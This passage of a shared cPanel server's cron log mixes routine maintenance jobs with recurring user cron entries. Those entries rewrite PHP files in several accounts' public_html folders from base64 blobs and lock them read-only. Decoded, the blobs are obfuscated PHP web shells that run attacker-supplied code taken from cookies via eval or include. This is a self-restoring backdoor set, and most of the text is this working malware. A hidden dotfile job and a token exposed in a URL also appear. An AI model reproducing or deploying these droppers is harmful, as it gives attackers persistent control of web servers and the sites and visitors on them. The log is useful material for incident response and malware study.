ldKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:19:01 medusa CROND[1714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:19:02 medusa CROND[1779]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:19:02 medusa CROND[1780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:19:02 medusa CROND[1782]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:19:02 medusa CROND[1784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:19:02 medusa CROND[1785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:19:02 medusa CROND[1786]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:19:02 medusa CROND[1787]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:19:02 medusa CROND[1788]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:19:02 medusa CROND[1790]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:19:02 medusa CROND[1792]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:19:02 medusa CROND[1793]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:20:01 medusa CROND[25689]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:20:01 medusa CROND[25723]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 05:20:02 medusa CROND[25849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:20:02 medusa CROND[25871]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:20:02 medusa CROND[25872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:20:02 medusa CROND[25876]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:20:02 medusa CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25879]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 05:20:02 medusa CROND[25881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:20:02 medusa CROND[25882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25880]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:20:02 medusa CROND[25896]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:20:02 medusa CROND[25901]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25898]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 05:20:02 medusa CROND[25903]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25904]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:20:02 medusa CROND[25905]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:20:02 medusa CROND[25906]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:20:02 medusa CROND[25910]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:20:02 medusa CROND[25913]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:20:02 medusa CROND[25914]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:20:02 medusa CROND[25899]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:20:02 medusa CROND[25893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:20:02 medusa CROND[25937]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25939]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:20:02 medusa CROND[25936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:20:02 medusa CROND[25941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 05:21:01 medusa CROND[16607]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:21:01 medusa CROND[16609]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:21:01 medusa CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:21:01 medusa CROND[16746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:21:01 medusa CROND[16745]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:21:01 medusa CROND[16747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
